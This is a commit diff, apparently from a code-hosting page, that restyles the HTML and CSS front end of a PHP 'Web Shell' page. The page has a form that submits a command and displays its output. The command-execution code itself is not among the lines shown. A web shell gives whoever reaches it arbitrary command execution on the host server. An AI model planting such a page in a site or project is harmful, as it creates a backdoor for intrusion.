|
4 | 4 | }
|
5 | 5 | ?>
|
6 | 6 | <!DOCTYPE html>
|
7 |
| -<html> |
| 7 | +<html lang="en"> |
8 | 8 | <!-- By Artyum (https://github.com/artyuum) -->
|
9 | 9 | <head>
|
10 |
| - |
11 | 10 | <meta charset="utf-8">
|
12 |
| - |
13 | 11 | <meta http-equiv="X-UA-Compatible" content="IE=edge">
|
14 |
| - |
15 | 12 | <meta name="viewport" content="width=device-width, initial-scale=1">
|
16 |
| - |
17 |
| - <link rel="stylesheet" type="text/css" href="//bootswatch.com/4/flatly/bootstrap.min.css"> |
18 |
| - |
19 | 13 | <title>Web Shell</title>
|
20 |
| - |
21 | 14 | <style>
|
22 |
| - h2 { |
| 15 | + * { |
| 16 | + box-sizing: border-box; |
| 17 | + } |
| 18 | + |
| 19 | + body { |
| 20 | + font-family: sans-serif; |
23 | 21 | color: rgba(0, 0, 0, .75);
|
24 | 22 | }
|
25 | 23 |
|
26 |
| - pre { |
27 |
| - padding: 15px; |
28 |
| - -webkit-border-radius: 5px; |
29 |
| - -moz-border-radius: 5px; |
30 |
| - border-radius: 5px; |
31 |
| - background-color: #ECF0F1; |
| 24 | + main { |
| 25 | + margin: auto; |
| 26 | + max-width: 850px; |
| 27 | + } |
| 28 | + |
| 29 | + pre, |
| 30 | + input, |
| 31 | + button { |
| 32 | + border-radius: 5px; -moz-border-radius: 5px; -webkit-border-radius: 5px; |
| 33 | + } |
| 34 | + |
| 35 | + pre, |
| 36 | + input, |
| 37 | + button { |
| 38 | + background-color: #efefef; |
| 39 | + } |
| 40 | + |
| 41 | + label { |
| 42 | + display: block; |
32 | 43 | }
|
33 | 44 |
|
34 |
| - .container { |
35 |
| - width: 850px; |
| 45 | + input { |
| 46 | + width: 100%; |
| 47 | + background-color: #efefef; |
| 48 | + border: 2px solid transparent; |
| 49 | + } |
| 50 | + |
| 51 | + input:focus { |
| 52 | + outline: none; |
| 53 | + background: transparent; |
| 54 | + border: 2px solid #e6e6e6; |
| 55 | + } |
| 56 | + |
| 57 | + button { |
| 58 | + border: none; |
| 59 | + cursor: pointer; |
| 60 | + margin-left: 5px; |
| 61 | + } |
| 62 | + |
| 63 | + button:hover { |
| 64 | + background-color: #e6e6e6; |
| 65 | + } |
| 66 | + |
| 67 | + pre, |
| 68 | + input, |
| 69 | + button { |
| 70 | + padding: 10px; |
| 71 | + } |
| 72 | + |
| 73 | + .form-group { |
| 74 | + display: flex; |
| 75 | + padding: 15px 0; |
36 | 76 | }
|
37 | 77 | </style>
|
38 | 78 |
|
39 | 79 | </head>
|
40 | 80 |
|
41 | 81 | <body>
|
| 82 | + <main> |
| 83 | + <h1>Web Shell</h1> |
| 84 | + <h2>Execute a command</h2> |
42 | 85 |
|
43 |
| - <div class="container"> |
44 |
| - |
45 |
| - <div class="pb-2 mt-4 mb-2"> |
46 |
| - <h1>PHP Shell</h1> |
47 |
| - <h2> Execute a command </h2> |
48 |
| - </div> |
49 |
| - |
50 |
| - <form method="POST"> |
| 86 | + <form method="post"> |
| 87 | + <label for="cmd"><strong>Command</strong></label> |
51 | 88 | <div class="form-group">
|
52 |
| - <label for="cmd"><strong>Command</strong></label> |
53 |
| - <input type="text" class="form-control" name="cmd" id="cmd" value="<?= htmlspecialchars($_POST['cmd'], ENT_QUOTES, 'UTF-8') ?>" required> |
| 89 | + <input type="text" name="cmd" id="cmd" value="<?= htmlspecialchars($_POST['cmd'], ENT_QUOTES, 'UTF-8') ?>" required> |
| 90 | + <button type="submit">Execute</button> |
54 | 91 | </div>
|
55 |
| - <button type="submit" class="btn btn-primary">Execute</button> |
56 | 92 | </form>
|
57 | 93 |
|
58 |
| -<?php if ($cmd): ?> |
59 |
| - <div class="pb-2 mt-4 mb-2"> |
60 |
| - <h2> Output </h2> |
61 |
| - </div> |
62 |
| - <pre> |
63 |
| -<?= htmlspecialchars($cmd, ENT_QUOTES, 'UTF-8') ?> |
64 |
| - </pre> |
65 |
| -<?php elseif (!$cmd && $_SERVER['REQUEST_METHOD'] == 'POST'): ?> |
66 |
| - <div class="pb-2 mt-4 mb-2"> |
67 |
| - <h2> Output </h2> |
68 |
| - </div> |
69 |
| - <pre><small>No result.</small></pre> |
70 |
| -<?php endif; ?> |
71 |
| - </div> |
72 |
| - |
| 94 | + <?php if ($_SERVER['REQUEST_METHOD'] === 'POST'): ?> |
| 95 | + <h2>Output</h2> |
| 96 | + <?php if (isset($cmd)): ?> |
| 97 | + <pre><?= htmlspecialchars($cmd, ENT_QUOTES, 'UTF-8') ?></pre> |
| 98 | + <?php else: ?> |
| 99 | + <pre><small>No result.</small></pre> |
| 100 | + <?php endif; ?> |
| 101 | + <?php endif; ?> |
| 102 | + </main> |
73 | 103 | </body>
|
74 |
| - |
75 | 104 | </html>
|
0 commit comments